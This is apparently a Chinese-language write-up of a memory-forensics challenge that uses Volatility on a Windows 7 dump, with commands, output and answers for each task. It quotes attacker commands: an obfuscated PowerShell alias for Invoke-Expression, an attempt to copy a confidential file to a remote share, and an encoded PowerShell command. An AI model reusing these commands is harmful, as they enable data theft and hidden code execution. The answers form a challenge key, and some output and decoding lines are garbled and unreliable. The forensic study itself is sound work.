

Recollection,bin(volatility) 。 17題不太懂

Sherlock Scenario

A junior member of our security team has been performing research and testing on what we believe to be an old and insecure operating system. We believe it may have been compromised & have managed to retrieve a memory dump of the asset. We want to confirm what actions were carried out by the attacker and if any other assets in our environment might be affected. Please answer the questions below.

文件：

```
(root@kali)-[/home/kali/Downloads]
# file recollection.bin
recollection.bin: data
```

工具：volatility

下載：<https://www.volatilityfoundation.org/25>

```
# 下載 pip2
sudo wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
sudo python2 get-pip.py
# pycrypto 、 distorm3
sudo python2 -m pip install -U setuptools wheel
sudo apt install -y python2 libpython2-dev
# python 依賴
sudo pip2 install pycrypto distorm3

# 下載 volatility
cd /usr/share
sudo git clone https://github.com/volatilityfoundation/volatility
cd volatility
sudo python2 setup.py install

# 測試
vol.py -h
```

Task 1

What is the Operating System of the machine?

指令：`vol.py -f recollection.bin imageinfo`

```
# vol.py -f recollection.bin imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
AS Layer2 : FileAddressSpace (/usr/share/volatility/recollection.bin)
PAE type : No PAE
DTB : 0x187000L
KDBG : 0xf80002a3f120L
Number of Processors : 1
Image Type (Service Pack) : 1
KPCR for CPU 0 : 0xfffff80002a41000L
KUSER_SHARED_DATA : 0xfffff78000000000L
Image date and time : 2022-12-19 16:07:30 UTC+0000
Image local date and time : 2022-12-19 22:07:30 +0600
```

Windows 7

Task 2

When was the memory dump created?

同上

2022-12-19 16:07:30

Task 3

After the attacker gained access to the machine, the attacker copied an obfuscated PowerShell command to the clipboard. What was the command?

指令：`vol.py -f recollection.bin --profile=Win7SP1x64 clipboard`

```
# vol.py -f recollection.bin --profile=Win7SP1x64 clipboard
Volatility Foundation Volatility Framework 2.6.1
Session WindowStation Format Carried out by the attack Handle Object Assets in use Data
1 WinSta0 CF_UNICODETEXT 0x6b010d 0xfffff900c1bef100 (gv '*MDR*').naMe[3,11,2]-joIN''
1 WinSta0 CF_TEXT 0x7400000000
1 WinSta0 CF_LOCALE 0x7d02bd 0xfffff900c209a260
1 WinSta0 0x0L 0x0
```

`(gv '*MDR*').naMe[3,11,2]-joIN''`

Task 4

The attacker copied the obfuscated command to use it as an alias for a PowerShell cmdlet. What is the cmdlet name?

指令：`vol.py -f recollection.bin --profile=Win7SP1x64 consoles`

```
PS C:\Users\user> (gv '*MDR*').naMe[3,11,2]-joIN''
iex
PS C:\Users\user>
```

参考GTP

```
PS C:\Users\user> (gv '*MDR*').naMe[3,11,2]-join''  
iex
```




您提供的 PowerShell 片段似乎是一段可能用於執行模糊或加密腳本的代碼。以下是分步解析它的作用：

代碼分析

1. `(gv '*MDR*').naMe[3,11,2]-join''`

- `(gv '*MDR*')`：`gv` 是 `Get-Variable` 的縮寫，用來獲取所有名稱匹配 `*MDR*` 的變數。
- `.naMe`：提取這些變數的名稱。
- `[3,11,2]`：選擇變數名稱中第 4、12、3 個字母（索引從 0 開始）。
- `-join ''`：將選出的字母合併為一個字符串，沒有任何分隔符。

2. `iex`

- `iex` 是 `Invoke-Expression` 的縮寫，用於執行指定的 PowerShell 表達式。
- 結合上面的代碼，可能會執行動態生  命令。

Invoke-Expression

Task 5

A CMD command was executed to attempt to exfiltrate a file. What is the full command line?

同上

```
C:\Users\user>powershell  
Windows PowerShell  
Copyright (C) 2009 Microsoft Corporation. All rights reserved.  
  
PS C:\Users\user> type C:\Users\Public\Secret\Confidential.txt > \\192.168.0.171  
\pulice\pass.txt  
The network path was not found.  
At line:1 char:47  
type C:\Users\Public\Secret\Confidential.txt > \\192.168.0.171\pulice\pass.txt
```

Task 6

Following the above command, now tell us if the file was exfiltrated successfully?

同上

上面寫是 `path was no found`

NO

Task 7

The attacker tried to create a readme file. What was the full path of the file?

同上

```
PS C:\Users\user> powershell.exe -e "ZWNobyAiaGFja2VkIGJ5IG1hZmlhIiA+ICJD0lxVc2Vyc1xQdWJsaWNcT2ZmaWNlXHJlYWRTZS50eHQi"
```

解碼後：

```
PS C:\Users\user> powershell.exe -e "# echo -n ZWNobyAiaGFja2VkIGJ5IG1hZmlhIiA+ICJD0lxVc2Vyc1xQdWJsaWNcT2ZmaWNlXHJlYWRTZS50eHQi | base64 -d; echo 'hacked by mafia' > 'C:\Users\Public\Office\readme.txt'"
```

C:\Users\Public\Office\readme.txt

Task 8

What was the Host Name of the machine?

同上

```
PS C:\Users\user> net users
```

Challenges

User accounts for \\USER-PC

USER-PC

Task 9

How many user accounts were in the machine?

指令：`vol.py -f recollection.bin --profile=Win7SP1x64 printkey -K`

"SAM\Domains\Account\Users\Names"

Windows 註冊表的以下位置：

HKEY_LOCAL_MACHINE\SAM\Domains\Account\Users\Names

```
PS C:\Users\user> vol.py -f recollection.bin --profile=Win7SP1x64 printkey -K "SAM\Domains\Account\Users\Names"
Volatility Foundation Volatility Framework 2.6.1
Legend: (S) = Stable (V) = Volatile

Registry: \SystemRoot\System32\Config\SAM
Key name: Names (S)
Last updated: 2022-12-10 09:49:53 UTC+0000

Subkeys:
(S) Administrator
(S) Guest
(S) HomeGroupUser$
(S) user


Values:
REG_NONE : (S)
```

3

Task 10

In the "\\Device\\HarddiskVolume2\\Users\\user\\AppData\\Local\\Microsoft\\Edge" folder there were some sub-folders where there was a file named passwords.txt. What was the full file location/path?

指令: `vol.py -f recollection.bin --profile=Win7SP1x64 filescan`




\\Device\\HarddiskVolume2\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\User
Data\\ZxcvbnData\\3.0.0.0\\passwords.txt

Task 11

A malicious executable file was executed using command. The executable EXE file's name was the hash value of itself. What was the hash value?

指令: `vol.py -f recollection.bin --profile=Win7SP1x64 consoles`



b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1

Task 12

Following the previous question, what is the Imphash of the malicious file you found above?

要到 `virustotal` 查詢

Q

b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1

File hashes

Imphash

d3b592cd9481e4f053b5362e22d61595

d3b592cd9481e4f053b5362e22d61595

Task 13

Following the previous question, tell us the date in UTC format when the malicious file was created?

同上

History ⓘ

Creation Time

2022-06-22 11:49:04 UTC

First Seen In The Wild

2022-12-19 14:26:43 UTC

First Submission

2022-12-19 14:39:42 UTC

Last Submission

2024-05-17 07:46:47 UTC

Last Analysis

2024-09-16 08:31:20 UTC

2022-06-22 11:49:04

Task 14

What was the local IP address of the machine?

指令：`vol.py -f recollection.bin --profile=Win7SP1x64 netscan`

vol.py -f recollection.bin --profile=Win7SP1x64 netscan

Volatility Foundation Volatility Framework 2.6.1

Offset(P)	Proto	Local Address	Foreign Address	State	Pid	Owner	Created
0x11e01f750	UDPv4	127.0.0.1:1900	**		1248	svchost.exe	2022-12-19 15:34:44 UTC+0000
0x11e063940	UDPv4	0.0.0.0:3702	**		1248	svchost.exe	2022-12-19 15:33:02 UTC+0000
0x11e063940	UDPv6	:::3702	**		1248	svchost.exe	2022-12-19 15:33:02 UTC+0000
0x11e0727d0	UDPv4	0.0.0.0:5355	**		288	svchost.exe	2022-12-19 15:32:47 UTC+0000
0x11e09a900	UDPv4	0.0.0.0:0	**		288	svchost.exe	2022-12-19 15:32:44 UTC+0000
0x11e09a900	UDPv6	:::0	**		288	svchost.exe	2022-12-19 15:32:44 UTC+0000
0x11e09ca60	UDPv4	0.0.0.0:5355	**		288	svchost.exe	2022-12-19 15:32:47 UTC+0000
0x11e09ca60	UDPv6	:::5355	**		288	svchost.exe	2022-12-19 15:32:47 UTC+0000
0x11e15aec0	UDPv4	0.0.0.0:3702	**		1248	svchost.exe	2022-12-19 15:33:02 UTC+0000
0x11e362880	UDPv4	0.0.0.0:55071	**		1248	svchost.exe	2022-12-19 15:32:38 UTC+0000
0x11e36fec0	UDPv4	0.0.0.0:55072	**		1248	svchost.exe	2022-12-19 15:32:38 UTC+0000
0x11e36fec0	UDPv6	:::55072	**		1248	svchost.exe	2022-12-19 15:32:38 UTC+0000
0x11e37a440	UDPv4	0.0.0.0:3702	**		1248	svchost.exe	2022-12-19 15:33:02 UTC+0000
0x11e37a440	UDPv6	:::3702	**		1248	svchost.exe	2022-12-19 15:33:02 UTC+0000
0x11e3b2bf0	UDPv4	192.168.0.104:138	**		4	System	2022-12-19 15:32:47 UTC+0000
0x11e3b40e0	UDPv4	192.168.0.104:137	**		4	System	2022-12-19 15:32:47 UTC+0000

192.168.0.104

Task 15

There were multiple PowerShell processes, where one process was a child process. Which process was its parent process?

指令：`vol.py -f recollection.bin --profile=Win7SP1x64 pstree`

```
. 0xfffffa8003cbc060:cmd.exe          4052   2032    1    23 2022-12-19 15:40:08 UTC+0000
.. 0xfffffa8005abbb00:powershell.exe  3532   4052    5   606 2022-12-19 15:44:44 UTC+0000
```

cmd.exe

Task 16

Attacker might have used an email address to login a social media. Can you tell us the email address?

指令：`strings -el recollection.bin | grep -E '@(.*?)com$'`

```
(root@kali) - [ /home/kali/Desktop/volatility ]
# strings -el recollection.bin | grep -E '@(.*?)com$'

mafia_code1337@gmail.com
mafia_code1337@gmail.com
a_code1337@gmail.com
a_code1337@gmail.com
a_code1337@gmail.com
a_code1337@gmail.com
mafia_code1337@gmail.com
a_code1337@gmail.com
@For more information regarding OATI certificates and the
hat cannot be answered by the OATI CPS or would like OATI
:2022121720221218: user@:Host: www.msn.com
:2022121720221218: user@:Host: www.microsoft.com
ieuser@microsoft.com
someone@Acme.com
a_code1337@gmail.com
a_code1337@gmail.com
:2022121720221218: user@:Host: www.msn.com
:2022121720221218: user@:Host: www.msn.com
:2022121720221218: user@:Host: www.bing.com
:2022121720221218: user@:Host: go.microsoft.com
:2022121720221218: user@:Host: www.microsoft.com
:2022121720221218: user@:Host: www.microsoft.com
:2022121720221218: user@:Host: www.bing.com
:2022121720221218: user@:Host: go.microsoft.com
john@contoso.com
```

mafia_code1337@gmail.com

Task 17

Using MS Edge browser, the victim searched about a SIEM solution. What is the SIEM solution's name?

查看Edge的history

指令：`vol.py -f recollection.bin --profile=Win7SP1x64 filescan | grep -i history`

```
# vol.py -f recollection.bin --profile=Win7SP1x64 filescan | grep -i history
Volatility Foundation Volatility Framework 2.6.1
0x000000011de6e9c0 16 0 R--rw- \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal
0x000000011deb9220 18 1 RW-rw- \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history
0x000000011e0795f0 18 1 RW-rw- \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history
0x000000011e0d16f0 17 1 RW-rw- \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
0x000000011e4d59e0 16 0 R--rwd \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Windows\History\desktop.ini
0x000000011fc57a10 17 1 RW-rw- \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal
```

確認有在Edge上，

提取記憶體映射並匯出

指令：`vol.py --profile=Win7SP1x64 -f recollection.bin dumpfiles -Q 0x000000011e0d16f0 -D ./`


```
root@kali: ~/home/kali/Desktop/volatility
# vol.py --profile=Win7SP1x64 -f recollection.bin dumpfiles -Q 0x000000011e0d16f0 -D ./
Volatility Foundation Volatility Framework 2.6.1
DataSectionObject 0x11e0d16f0 None \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
SharedCacheMap 0x11e0d16f0 None \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History

root@kali:~/home/kali/Desktop/volatility
ls
AUTHORS.txt CHANGELOG.txt CREDITS.txt file.None.0xfffffa80056d1440.dat LEGAL.txt Makefile PKG-INFO pyinstaller.spec recollection.bin setup.py volatility vol.py
build contrib dist file.None.0xfffffa80058825f0.vacb LICENSE.txt MANIFEST.in pyinstaller README.txt resources tools volatility.volatility.egg-info
```

是sqlite3

```
sqlite> select * from keyword_search terms;
2|5|install wazuh agent windows|install wazuh agent windows
2|12|malwarebazaar|malwarebazaar
2|21|malwarebazaar|malwarebazaar
2|23|7 zip windows 10|7 zip windows 10
2|24|7 zip windows 7|7 zip windows 7
2|27|base64 encode|base64 encode
```

wazuh

Task 18

The victim user downloaded an exe file. The file's name was mimicking a legitimate binary from Microsoft with a typo (i.e. legitimate binary is powershell.exe and attacker named a malware as powershall.exe). Tell us the file name with the file extension?

指令：`vol.py -f recollection.bin --profile=Win7SP1x64 filescan`

```
0x000000011e955820 16 0 -W-r-- \Device\HarddiskVolume2\Users\user\Downloads\c$rrsss.exe9541153d0e2cd21bd4e11591f6be48407f896b75e1320628346b03.exe
0x000000011e955c40 14 0 R-rwd \Device\HarddiskVolume2\Windows\System32\osk.exe
0x000000011e956320 16 0 R-rwd \Device\HarddiskVolume2\Windows\System32\TSChannel.dll
0x000000011e956d20 16 0 RW-r-- \Device\HarddiskVolume2\Windows\AppCompat\Programs\RecentFileCache.bcf
0x000000011e9573b0 2 0 RW-rwd \Device\HarddiskVolume2\Directory
0x000000011e957500 17 0 R-r-- \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.log
0x000000011e957f20 14 0 R-r-d \Device\HarddiskVolume2\Windows\System32\en-US\comres.dll.mui
0x000000011e958320 16 0 R-rwd \Device\HarddiskVolume2\Windows\System32\webio.dll
0x000000011e958820 7 0 R-r-d \Device\HarddiskVolume2\Windows\System32\udhisapi.dll
0x000000011e958d20 16 0 RW-rwd \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\dd7a6be1bb22b62d_0
0x000000011e959320 7 0 R-r-d \Device\HarddiskVolume2\Windows\System32\ssdpsrv.dll
0x000000011e959d20 15 0 R-r-d \Device\HarddiskVolume2\Windows\SysWOW64\apphelp.dll
0x000000011e95a820 16 0 RW-rwd \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\52a2fe6e68582223_0
0x000000011e95b320 2 0 RW-rwd \Device\HarddiskVolume2\Directory
0x000000011e95b4c0 16 0 R-rwd \Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.exe
0x000000011e95bd20 16 0 RW-rwd \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\fd5e13f0657c10_0
0x000000011e95c320 16 0 R-r-- \Device\HarddiskVolume2\Windows\Prefetch\SPPSVC.EXE-B0F8131B.pf
0x000000011e95c6d0 16 0 R-rwd \Device\HarddiskVolume2\Windows\System32\crypt32.dll
0x000000011e95c820 16 0 R-rwd \Device\HarddiskVolume2\ProgramData\Microsoft\Windows\Start Menu\Programs\Sidebar.lnk
0x000000011e95cbd0 1 1 R-r-- \Device\HarddiskVolume2\Windows\assembly\pubpol4.dat
0x000000011e95d320 16 0 R-rwd \Device\HarddiskVolume2\Windows\System32\IPHLPAPI.DLL
0x000000011e95df20 2 1 - \Device\NamedPipe\LOCAL\mojo.2380.2384.17643613637693814244
0x000000011e95e320 2 0 R-rw- \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\CURRENT
0x000000011e95e530 16 0 RW-rwd \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\719392883f7e87be_0
0x000000011e95f320 12 0 R-rwd \Device\HarddiskVolume2\Windows\slwow64.exe
0x000000011e95fd20 16 0 R-rwd \Device\HarddiskVolume2\ProgramData\Microsoft\Windows\DRM\v3ks.bla
0x000000011e960070 16 0 R-rwd \Device\HarddiskVolume2\Windows\System32\wintrust.dll
0x000000011e960890 1 1 - \Device\NamedPipe\WsfTeWds
0x000000011e961320 2 1 - \Device\Afd\Endpoint
0x000000011e961820 1 1 R-rw- \Device\HarddiskVolume2\Windows\winsxs\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_fa3b1e3d17594757
0x000000011e961d20 31 0 R-rwd \Device\HarddiskVolume2\Windows\System32\wbem\WmiPerfClass.dll
0x000000011e961f20 2 0 R-rw- \Device\HarddiskVolume2\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Windows Easy Transfer.lnk
0x000000011e962070 2 0 R-rw- \Device\HarddiskVolume2\ProgramData\Microsoft\Windows\Start Menu\Programs\Games\Minesweeper.lnk
0x000000011e962320 1 1 R-rw- \Device\HarddiskVolume2\Windows\winsxs\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.24203_none_1455c96c8b9566b9
0x000000011e962820 1 1 R-rw- \Device\HarddiskVolume2\Windows\winsxs\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_fa3b1e3d17594757
0x000000011e963820 8 0 R-r-d \Device\HarddiskVolume2\Windows\System32\mfreadwrite.dll
0x000000011e964320 13 0 R-r-d \Device\HarddiskVolume2\Windows\System32\SearchFolder.dll
0x000000011e965320 1 1 - \Device\Afd\Endpoint
0x000000011e965b10 6 0 R-rwd \Device\HarddiskVolume2\Windows\System32\PhotoMetadataHandler.dll
0x000000011e965d20 2 1 RW-rw- \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Media Player\CurrentDatabase_372.wmdb
0x000000011e966320 2 1 - \Device\Afd\Endpoint
0x000000011e966820 16 0 RW-rwd \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\26c27022660d4f76_0
0x000000011e967320 16 0 R-rwd \Device\HarddiskVolume2\Windows\SysWOW64\wtsapi32.dll
0x000000011e967520 2 0 RW-rwd \Device\HarddiskVolume2\Directory
0x000000011e967d20 16 0 RW-rwd \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\673eae955755fc16_0
0x000000011e968320 16 0 R-rwd \Device\HarddiskVolume2\Windows\System32\winhttp.dll
0x000000011e968520 16 0 R-r-d \Device\HarddiskVolume2\Windows\System32\Speech\SpeechUX\en-US\sapi.cpl.mui
```

這段比較特別，有兩個連在一起的exe檔

csrsss.exe